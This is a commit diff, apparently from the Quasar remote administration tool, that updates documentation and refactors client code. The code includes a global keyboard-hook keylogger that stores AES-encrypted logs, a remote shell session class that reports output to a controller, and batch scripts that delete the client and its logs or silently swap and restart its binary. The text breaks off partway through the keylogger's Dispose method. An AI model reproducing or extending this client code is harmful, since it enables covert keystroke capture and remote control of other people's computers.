mirror of https://github.com/quasar/Quasar.git
Update documentation
This commit is contained in:
parent
3fbf7fd0f7
commit
9ed61be8e1
|
@ -9,6 +9,9 @@
|
||||||
|
|
||||||
namespace Quasar.Client.Config
|
namespace Quasar.Client.Config
|
||||||
{
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Stores the configuration of the client.
|
||||||
|
/// </summary>
|
||||||
public static class Settings
|
public static class Settings
|
||||||
{
|
{
|
||||||
#if DEBUG
|
#if DEBUG
|
||||||
|
|
|
@ -0,0 +1,59 @@
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Extensions
|
||||||
|
{
|
||||||
|
public static class KeyExtensions
|
||||||
|
{
|
||||||
|
public static bool ContainsModifierKeys(this List<Keys> pressedKeys)
|
||||||
|
{
|
||||||
|
return pressedKeys.Any(x => x.IsModifierKey());
|
||||||
|
}
|
||||||
|
|
||||||
|
public static bool IsModifierKey(this Keys key)
|
||||||
|
{
|
||||||
|
return (key == Keys.LControlKey
|
||||||
|
|| key == Keys.RControlKey
|
||||||
|
|| key == Keys.LMenu
|
||||||
|
|| key == Keys.RMenu
|
||||||
|
|| key == Keys.LWin
|
||||||
|
|| key == Keys.RWin
|
||||||
|
|| key == Keys.Control
|
||||||
|
|| key == Keys.Alt);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static bool ContainsKeyChar(this List<Keys> pressedKeys, char c)
|
||||||
|
{
|
||||||
|
return pressedKeys.Contains((Keys)char.ToUpper(c));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static bool IsExcludedKey(this Keys k)
|
||||||
|
{
|
||||||
|
// The keys below are excluded. If it is one of the keys below,
|
||||||
|
// the KeyPress event will handle these characters. If the keys
|
||||||
|
// are not any of those specified below, we can continue.
|
||||||
|
return (k >= Keys.A && k <= Keys.Z
|
||||||
|
|| k >= Keys.NumPad0 && k <= Keys.Divide
|
||||||
|
|| k >= Keys.D0 && k <= Keys.D9
|
||||||
|
|| k >= Keys.Oem1 && k <= Keys.OemClear
|
||||||
|
|| k >= Keys.LShiftKey && k <= Keys.RShiftKey
|
||||||
|
|| k == Keys.CapsLock
|
||||||
|
|| k == Keys.Space);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static string GetDisplayName(this Keys key)
|
||||||
|
{
|
||||||
|
string name = key.ToString();
|
||||||
|
if (name.Contains("ControlKey"))
|
||||||
|
return "Control";
|
||||||
|
else if (name.Contains("Menu"))
|
||||||
|
return "Alt";
|
||||||
|
else if (name.Contains("Win"))
|
||||||
|
return "Win";
|
||||||
|
else if (name.Contains("Shift"))
|
||||||
|
return "Shift";
|
||||||
|
return name;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,11 +1,14 @@
|
||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using Quasar.Common.Utilities;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using Microsoft.Win32;
|
|
||||||
using Quasar.Common.Utilities;
|
|
||||||
|
|
||||||
namespace Quasar.Client.Extensions
|
namespace Quasar.Client.Extensions
|
||||||
{
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Provides extensions for registry key and value operations.
|
||||||
|
/// </summary>
|
||||||
public static class RegistryKeyExtensions
|
public static class RegistryKeyExtensions
|
||||||
{
|
{
|
||||||
/// <summary>
|
/// <summary>
|
||||||
|
@ -25,7 +28,7 @@ private static bool IsNameOrValueNull(this string keyName, RegistryKey key)
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="key">The key of which we obtain the value of.</param>
|
/// <param name="key">The key of which we obtain the value of.</param>
|
||||||
/// <param name="keyName">The name of the key.</param>
|
/// <param name="keyName">The name of the key.</param>
|
||||||
/// <param name="defaultValue">The default value if value can not be determinated.</param>
|
/// <param name="defaultValue">The default value if value can not be determined.</param>
|
||||||
/// <returns>Returns the value of the key using the specified key name. If unable to do so,
|
/// <returns>Returns the value of the key using the specified key name. If unable to do so,
|
||||||
/// defaultValue will be returned instead.</returns>
|
/// defaultValue will be returned instead.</returns>
|
||||||
public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "")
|
public static string GetValueSafe(this RegistryKey key, string keyName, string defaultValue = "")
|
||||||
|
@ -107,8 +110,7 @@ public static RegistryKey CreateSubKeySafe(this RegistryKey key, string name)
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="key">The key of which the sub-key is to be deleted from.</param>
|
/// <param name="key">The key of which the sub-key is to be deleted from.</param>
|
||||||
/// <param name="name">The name of the sub-key.</param>
|
/// <param name="name">The name of the sub-key.</param>
|
||||||
/// <returns>Returns boolean value if the action succeded or failed
|
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||||
/// </returns>
|
|
||||||
public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
|
public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
|
@ -122,8 +124,6 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#region Rename Key
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Derived and Adapted from drdandle's article,
|
* Derived and Adapted from drdandle's article,
|
||||||
* Copy and Rename Registry Keys at Code project.
|
* Copy and Rename Registry Keys at Code project.
|
||||||
|
@ -146,21 +146,20 @@ public static bool DeleteSubKeyTreeSafe(this RegistryKey key, string name)
|
||||||
/// <param name="key">The key of which the subkey is to be renamed from.</param>
|
/// <param name="key">The key of which the subkey is to be renamed from.</param>
|
||||||
/// <param name="oldName">The old name of the sub-key.</param>
|
/// <param name="oldName">The old name of the sub-key.</param>
|
||||||
/// <param name="newName">The new name of the sub-key.</param>
|
/// <param name="newName">The new name of the sub-key.</param>
|
||||||
/// <returns>Returns boolean value if the action succeded or failed; Returns
|
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||||
/// </returns>
|
|
||||||
public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName)
|
public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string newName)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
//Copy from old to new
|
//Copy from old to new
|
||||||
key.CopyKey(oldName, newName);
|
key.CopyKey(oldName, newName);
|
||||||
//Despose of the old key
|
//Dispose of the old key
|
||||||
key.DeleteSubKeyTree(oldName);
|
key.DeleteSubKeyTree(oldName);
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
//Try to despose of the newKey (The rename failed)
|
//Try to dispose of the newKey (The rename failed)
|
||||||
key.DeleteSubKeyTreeSafe(newName);
|
key.DeleteSubKeyTreeSafe(newName);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
@ -173,8 +172,6 @@ public static bool RenameSubKeySafe(this RegistryKey key, string oldName, string
|
||||||
/// <param name="key">The key of which the subkey is to be deleted from.</param>
|
/// <param name="key">The key of which the subkey is to be deleted from.</param>
|
||||||
/// <param name="oldName">The old name of the sub-key.</param>
|
/// <param name="oldName">The old name of the sub-key.</param>
|
||||||
/// <param name="newName">The new name of the sub-key.</param>
|
/// <param name="newName">The new name of the sub-key.</param>
|
||||||
/// <returns>Returns nothing
|
|
||||||
/// </returns>
|
|
||||||
public static void CopyKey(this RegistryKey key, string oldName, string newName)
|
public static void CopyKey(this RegistryKey key, string oldName, string newName)
|
||||||
{
|
{
|
||||||
//Create a new key
|
//Create a new key
|
||||||
|
@ -195,8 +192,6 @@ public static void CopyKey(this RegistryKey key, string oldName, string newName)
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="sourceKey">The source key to copy from.</param>
|
/// <param name="sourceKey">The source key to copy from.</param>
|
||||||
/// <param name="destKey">The destination key to copy to.</param>
|
/// <param name="destKey">The destination key to copy to.</param>
|
||||||
/// <returns>Returns nothing
|
|
||||||
/// </returns>
|
|
||||||
private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
|
private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
|
||||||
{
|
{
|
||||||
|
|
||||||
|
@ -222,10 +217,6 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#endregion
|
|
||||||
|
|
||||||
#region Region Value
|
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Attempts to set a registry value for the key provided using the specified
|
/// Attempts to set a registry value for the key provided using the specified
|
||||||
/// name, data and kind. If the registry value does not exist it will be created
|
/// name, data and kind. If the registry value does not exist it will be created
|
||||||
|
@ -234,7 +225,7 @@ private static void RecursiveCopyKey(RegistryKey sourceKey, RegistryKey destKey)
|
||||||
/// <param name="name">The name of the value.</param>
|
/// <param name="name">The name of the value.</param>
|
||||||
/// <param name="data">The data of the value</param>
|
/// <param name="data">The data of the value</param>
|
||||||
/// <param name="kind">The value kind of the value</param>
|
/// <param name="kind">The value kind of the value</param>
|
||||||
/// <returns>Returns a boolean value if the action succeeded or failed.</returns>
|
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||||
public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
|
public static bool SetValueSafe(this RegistryKey key, string name, object data, RegistryValueKind kind)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
|
@ -274,7 +265,7 @@ public static bool SetValueSafe(this RegistryKey key, string name, object data,
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="key">The key of which the value is to be delete from.</param>
|
/// <param name="key">The key of which the value is to be delete from.</param>
|
||||||
/// <param name="name">The name of the value.</param>
|
/// <param name="name">The name of the value.</param>
|
||||||
/// <returns>Returns a boolean value if the action succeded or failed.</returns>
|
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||||
public static bool DeleteValueSafe(this RegistryKey key, string name)
|
public static bool DeleteValueSafe(this RegistryKey key, string name)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
|
@ -288,8 +279,6 @@ public static bool DeleteValueSafe(this RegistryKey key, string name)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#region Rename Value
|
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Attempts to rename a registry value to the key provided using the specified old
|
/// Attempts to rename a registry value to the key provided using the specified old
|
||||||
/// name and new name.
|
/// name and new name.
|
||||||
|
@ -297,21 +286,20 @@ public static bool DeleteValueSafe(this RegistryKey key, string name)
|
||||||
/// <param name="key">The key of which the registry value is to be renamed from.</param>
|
/// <param name="key">The key of which the registry value is to be renamed from.</param>
|
||||||
/// <param name="oldName">The old name of the registry value.</param>
|
/// <param name="oldName">The old name of the registry value.</param>
|
||||||
/// <param name="newName">The new name of the registry value.</param>
|
/// <param name="newName">The new name of the registry value.</param>
|
||||||
/// <returns>Returns boolean value if the action succeded or failed; Returns
|
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||||
/// </returns>
|
|
||||||
public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName)
|
public static bool RenameValueSafe(this RegistryKey key, string oldName, string newName)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
//Copy from old to new
|
//Copy from old to new
|
||||||
key.CopyValue(oldName, newName);
|
key.CopyValue(oldName, newName);
|
||||||
//Despose of the old value
|
//Dispose of the old value
|
||||||
key.DeleteValue(oldName);
|
key.DeleteValue(oldName);
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
//Try to despose of the newKey (The rename failed)
|
//Try to dispose of the newKey (The rename failed)
|
||||||
key.DeleteValueSafe(newName);
|
key.DeleteValueSafe(newName);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
@ -324,8 +312,6 @@ public static bool RenameValueSafe(this RegistryKey key, string oldName, string
|
||||||
/// <param name="key">The key of which the registry value is to be copied.</param>
|
/// <param name="key">The key of which the registry value is to be copied.</param>
|
||||||
/// <param name="oldName">The old name of the registry value.</param>
|
/// <param name="oldName">The old name of the registry value.</param>
|
||||||
/// <param name="newName">The new name of the registry value.</param>
|
/// <param name="newName">The new name of the registry value.</param>
|
||||||
/// <returns>Returns nothing
|
|
||||||
/// </returns>
|
|
||||||
public static void CopyValue(this RegistryKey key, string oldName, string newName)
|
public static void CopyValue(this RegistryKey key, string oldName, string newName)
|
||||||
{
|
{
|
||||||
RegistryValueKind valueKind = key.GetValueKind(oldName);
|
RegistryValueKind valueKind = key.GetValueKind(oldName);
|
||||||
|
@ -334,19 +320,12 @@ public static void CopyValue(this RegistryKey key, string oldName, string newNam
|
||||||
key.SetValue(newName, valueData, valueKind);
|
key.SetValue(newName, valueData, valueKind);
|
||||||
}
|
}
|
||||||
|
|
||||||
#endregion
|
|
||||||
|
|
||||||
#endregion
|
|
||||||
|
|
||||||
#region Find
|
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Checks if the specified subkey exists in the key
|
/// Checks if the specified subkey exists in the key
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="key">The key of which to search.</param>
|
/// <param name="key">The key of which to search.</param>
|
||||||
/// <param name="name">The name of the sub-key to find.</param>
|
/// <param name="name">The name of the sub-key to find.</param>
|
||||||
/// <returns>Returns boolean value if the action succeded or failed
|
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||||
/// </returns>
|
|
||||||
public static bool ContainsSubKey(this RegistryKey key, string name)
|
public static bool ContainsSubKey(this RegistryKey key, string name)
|
||||||
{
|
{
|
||||||
foreach (string subkey in key.GetSubKeyNames())
|
foreach (string subkey in key.GetSubKeyNames())
|
||||||
|
@ -364,8 +343,7 @@ public static bool ContainsSubKey(this RegistryKey key, string name)
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="key">The key of which to search.</param>
|
/// <param name="key">The key of which to search.</param>
|
||||||
/// <param name="name">The name of the registry value to find.</param>
|
/// <param name="name">The name of the registry value to find.</param>
|
||||||
/// <returns>Returns boolean value if the action succeded or failed
|
/// <returns>Returns <c>true</c> if the action succeeded, otherwise <c>false</c>.</returns>
|
||||||
/// </returns>
|
|
||||||
public static bool ContainsValue(this RegistryKey key, string name)
|
public static bool ContainsValue(this RegistryKey key, string name)
|
||||||
{
|
{
|
||||||
foreach (string value in key.GetValueNames())
|
foreach (string value in key.GetValueNames())
|
||||||
|
@ -378,8 +356,6 @@ public static bool ContainsValue(this RegistryKey key, string name)
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
#endregion
|
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Gets all of the value names associated with the registry key and returns
|
/// Gets all of the value names associated with the registry key and returns
|
||||||
/// formatted strings of the filtered values.
|
/// formatted strings of the filtered values.
|
||||||
|
@ -396,6 +372,11 @@ public static bool ContainsValue(this RegistryKey key, string name)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets the default value for a given data type of a registry value.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="valueKind">The data type of the registry value.</param>
|
||||||
|
/// <returns>The default value for the given <see cref="valueKind"/>.</returns>
|
||||||
public static object GetDefault(this RegistryValueKind valueKind)
|
public static object GetDefault(this RegistryValueKind valueKind)
|
||||||
{
|
{
|
||||||
switch (valueKind)
|
switch (valueKind)
|
||||||
|
@ -416,4 +397,4 @@ public static object GetDefault(this RegistryValueKind valueKind)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,40 +1,35 @@
|
||||||
using Quasar.Common.Helpers;
|
using Quasar.Common.Helpers;
|
||||||
using System;
|
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
|
|
||||||
namespace Quasar.Client.IO
|
namespace Quasar.Client.IO
|
||||||
{
|
{
|
||||||
public class BatchFile
|
/// <summary>
|
||||||
|
/// Provides methods to create batch files for application update, uninstall and restart operations.
|
||||||
|
/// </summary>
|
||||||
|
public static class BatchFile
|
||||||
{
|
{
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Creates the uninstall batch file.
|
/// Creates the uninstall batch file.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="currentFilePath">The current file path of the client.</param>
|
/// <param name="currentFilePath">The current file path of the client.</param>
|
||||||
/// <param name="logDirectory">The log directory.</param>
|
/// <param name="logDirectory">The log directory.</param>
|
||||||
/// <returns>The file path to the batch file which can then get executed. Returns <code>string.Empty</code> on failure.</returns>
|
/// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
|
||||||
public static string CreateUninstallBatch(string currentFilePath, string logDirectory)
|
public static string CreateUninstallBatch(string currentFilePath, string logDirectory)
|
||||||
{
|
{
|
||||||
try
|
string batchFile = FileHelper.GetTempFilePath(".bat");
|
||||||
{
|
|
||||||
string batchFile = FileHelper.GetTempFilePath(".bat");
|
|
||||||
|
|
||||||
string uninstallBatch =
|
string uninstallBatch =
|
||||||
"@echo off" + "\r\n" +
|
"@echo off" + "\r\n" +
|
||||||
"chcp 65001" + "\r\n" +
|
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
|
||||||
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
|
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
|
||||||
"ping -n 10 localhost > nul" + "\r\n" +
|
"ping -n 10 localhost > nul" + "\r\n" +
|
||||||
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
|
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||||
"rmdir /q /s " + "\"" + logDirectory + "\"" + "\r\n" +
|
"rmdir /q /s " + "\"" + logDirectory + "\"" + "\r\n" +
|
||||||
"del /a /q /f " + "\"" + batchFile + "\"";
|
"del /a /q /f " + "\"" + batchFile + "\"";
|
||||||
|
|
||||||
File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false));
|
File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false));
|
||||||
return batchFile;
|
return batchFile;
|
||||||
}
|
|
||||||
catch (Exception)
|
|
||||||
{
|
|
||||||
return string.Empty;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
|
@ -42,59 +37,45 @@ public static string CreateUninstallBatch(string currentFilePath, string logDire
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="currentFilePath">The current file path of the client.</param>
|
/// <param name="currentFilePath">The current file path of the client.</param>
|
||||||
/// <param name="newFilePath">The new file path of the client.</param>
|
/// <param name="newFilePath">The new file path of the client.</param>
|
||||||
/// <returns>The file path to the batch file which can then get executed. Returns <code>string.Empty</code> on failure.</returns>
|
/// <returns>The file path to the batch file which can then get executed. Returns an empty string on failure.</returns>
|
||||||
public static string CreateUpdateBatch(string currentFilePath, string newFilePath)
|
public static string CreateUpdateBatch(string currentFilePath, string newFilePath)
|
||||||
{
|
{
|
||||||
try
|
string batchFile = FileHelper.GetTempFilePath(".bat");
|
||||||
{
|
|
||||||
string batchFile = FileHelper.GetTempFilePath(".bat");
|
|
||||||
|
|
||||||
string updateBatch =
|
string updateBatch =
|
||||||
"@echo off" + "\r\n" +
|
"@echo off" + "\r\n" +
|
||||||
"chcp 65001" + "\r\n" +
|
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
|
||||||
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
|
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
|
||||||
"ping -n 10 localhost > nul" + "\r\n" +
|
"ping -n 10 localhost > nul" + "\r\n" +
|
||||||
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
|
"del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||||
"move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" +
|
"move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||||
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
|
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||||
"del /a /q /f " + "\"" + batchFile + "\"";
|
"del /a /q /f " + "\"" + batchFile + "\"";
|
||||||
|
|
||||||
File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false));
|
File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false));
|
||||||
return batchFile;
|
return batchFile;
|
||||||
}
|
|
||||||
catch (Exception)
|
|
||||||
{
|
|
||||||
return string.Empty;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Creates the restart batch file.
|
/// Creates the restart batch file.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="currentFilePath">The current file path of the client.</param>
|
/// <param name="currentFilePath">The current file path of the client.</param>
|
||||||
/// <returns>The file path to the batch file which can then get executed. Returns <code>string.Empty</code> on failure.</returns>
|
/// <returns>The file path to the batch file which can then get executed. Returns <c>string.Empty</c> on failure.</returns>
|
||||||
public static string CreateRestartBatch(string currentFilePath)
|
public static string CreateRestartBatch(string currentFilePath)
|
||||||
{
|
{
|
||||||
try
|
string batchFile = FileHelper.GetTempFilePath(".bat");
|
||||||
{
|
|
||||||
string batchFile = FileHelper.GetTempFilePath(".bat");
|
|
||||||
|
|
||||||
string restartBatch =
|
string restartBatch =
|
||||||
"@echo off" + "\r\n" +
|
"@echo off" + "\r\n" +
|
||||||
"chcp 65001" + "\r\n" +
|
"chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ...
|
||||||
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
|
"echo DONT CLOSE THIS WINDOW!" + "\r\n" +
|
||||||
"ping -n 10 localhost > nul" + "\r\n" +
|
"ping -n 10 localhost > nul" + "\r\n" +
|
||||||
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
|
"start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" +
|
||||||
"del /a /q /f " + "\"" + batchFile + "\"";
|
"del /a /q /f " + "\"" + batchFile + "\"";
|
||||||
|
|
||||||
File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false));
|
File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false));
|
||||||
|
|
||||||
return batchFile;
|
return batchFile;
|
||||||
}
|
|
||||||
catch (Exception)
|
|
||||||
{
|
|
||||||
return string.Empty;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,6 +1,5 @@
|
||||||
using Quasar.Client.Networking;
|
using Quasar.Client.Networking;
|
||||||
using Quasar.Common.Messages;
|
using Quasar.Common.Messages;
|
||||||
using Quasar.Common.Networking;
|
|
||||||
using System;
|
using System;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.Globalization;
|
using System.Globalization;
|
||||||
|
@ -48,27 +47,20 @@ public class Shell : IDisposable
|
||||||
/// </summary>
|
/// </summary>
|
||||||
private StreamWriter _inputWriter;
|
private StreamWriter _inputWriter;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The client to sends responses to.
|
||||||
|
/// </summary>
|
||||||
private readonly QuasarClient _client;
|
private readonly QuasarClient _client;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Initializes a new instance of the <see cref="Shell"/> class using a given client.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="client">The client to send shell responses to.</param>
|
||||||
public Shell(QuasarClient client)
|
public Shell(QuasarClient client)
|
||||||
{
|
{
|
||||||
_client = client;
|
_client = client;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
private void Execute(ISender client, DoShellExecute message)
|
|
||||||
{
|
|
||||||
string input = message.Command;
|
|
||||||
|
|
||||||
if ((_prc == null || _prc.HasExited) && input == "exit") return;
|
|
||||||
|
|
||||||
if (input == "exit")
|
|
||||||
Dispose();
|
|
||||||
else
|
|
||||||
ExecuteCommand(input);
|
|
||||||
}
|
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Creates a new session of the shell.
|
/// Creates a new session of the shell.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
|
|
|
@ -1,5 +1,7 @@
|
||||||
using Gma.System.MouseKeyHook;
|
using Gma.System.MouseKeyHook;
|
||||||
using Quasar.Client.Config;
|
using Quasar.Client.Config;
|
||||||
|
using Quasar.Client.Extensions;
|
||||||
|
using Quasar.Client.Helper;
|
||||||
using Quasar.Common.Cryptography;
|
using Quasar.Common.Cryptography;
|
||||||
using Quasar.Common.Helpers;
|
using Quasar.Common.Helpers;
|
||||||
using System;
|
using System;
|
||||||
|
@ -7,6 +9,7 @@
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
|
using System.Web;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
using Timer = System.Timers.Timer;
|
using Timer = System.Timers.Timer;
|
||||||
|
|
||||||
|
@ -19,39 +22,68 @@ namespace Quasar.Client.Logging
|
||||||
public class Keylogger : IDisposable
|
public class Keylogger : IDisposable
|
||||||
{
|
{
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// True if the class has already been disposed, else False.
|
/// <c>True</c> if the class has already been disposed, else <c>false</c>.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
public bool IsDisposed { get; private set; }
|
public bool IsDisposed { get; private set; }
|
||||||
|
|
||||||
public double FlushInterval { get; private set; }
|
/// <summary>
|
||||||
|
/// The timer used to periodically flush the <see cref="_logFileBuffer"/> from memory to disk.
|
||||||
|
/// </summary>
|
||||||
private readonly Timer _timerFlush;
|
private readonly Timer _timerFlush;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The
|
||||||
|
/// </summary>
|
||||||
private readonly StringBuilder _logFileBuffer = new StringBuilder();
|
private readonly StringBuilder _logFileBuffer = new StringBuilder();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Temporary list of pressed keys while they are being processed.
|
||||||
|
/// </summary>
|
||||||
private readonly List<Keys> _pressedKeys = new List<Keys>();
|
private readonly List<Keys> _pressedKeys = new List<Keys>();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Temporary list of pressed keys chars while they are being processed.
|
||||||
|
/// </summary>
|
||||||
private readonly List<char> _pressedKeyChars = new List<char>();
|
private readonly List<char> _pressedKeyChars = new List<char>();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Saves the last window title of an application.
|
||||||
|
/// </summary>
|
||||||
private string _lastWindowTitle = string.Empty;
|
private string _lastWindowTitle = string.Empty;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Determines if special keys should be ignored for processing, e.g. when a modifier key is pressed.
|
||||||
|
/// </summary>
|
||||||
private bool _ignoreSpecialKeys;
|
private bool _ignoreSpecialKeys;
|
||||||
private IKeyboardMouseEvents _mEvents;
|
|
||||||
|
/// <summary>
|
||||||
|
/// Used to hook global mouse and keyboard events.
|
||||||
|
/// </summary>
|
||||||
|
private readonly IKeyboardMouseEvents _mEvents;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Provides encryption and decryption methods to securely store log files.
|
||||||
|
/// </summary>
|
||||||
private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY);
|
private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY);
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Creates the keylogger instance that provides keylogging functionality.
|
/// Initializes a new instance of <see cref="Keylogger"/> that provides keylogging functionality.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="flushInterval">The interval to flush the buffer to the logfile.</param>
|
/// <param name="flushInterval">The interval to flush the buffer from memory to disk.</param>
|
||||||
public Keylogger(double flushInterval)
|
public Keylogger(double flushInterval)
|
||||||
{
|
{
|
||||||
FlushInterval = flushInterval;
|
_mEvents = Hook.GlobalEvents();
|
||||||
_timerFlush = new Timer { Interval = FlushInterval };
|
_timerFlush = new Timer { Interval = flushInterval };
|
||||||
_timerFlush.Elapsed += timerFlush_Elapsed;
|
_timerFlush.Elapsed += TimerElapsed;
|
||||||
}
|
}
|
||||||
|
|
||||||
public void StartLogging()
|
/// <summary>
|
||||||
|
/// Begins logging of keys.
|
||||||
|
/// </summary>
|
||||||
|
public void Start()
|
||||||
{
|
{
|
||||||
Subscribe(Hook.GlobalEvents());
|
Subscribe();
|
||||||
|
|
||||||
_timerFlush.Start();
|
_timerFlush.Start();
|
||||||
|
|
||||||
WriteFile();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
|
@ -65,53 +97,59 @@ public void Dispose()
|
||||||
|
|
||||||
protected virtual void Dispose(bool disposing)
|
protected virtual void Dispose(bool disposing)
|
||||||
{
|
{
|
||||||
if (!IsDisposed)
|
if (IsDisposed)
|
||||||
|
return;
|
||||||
|
|
||||||
|
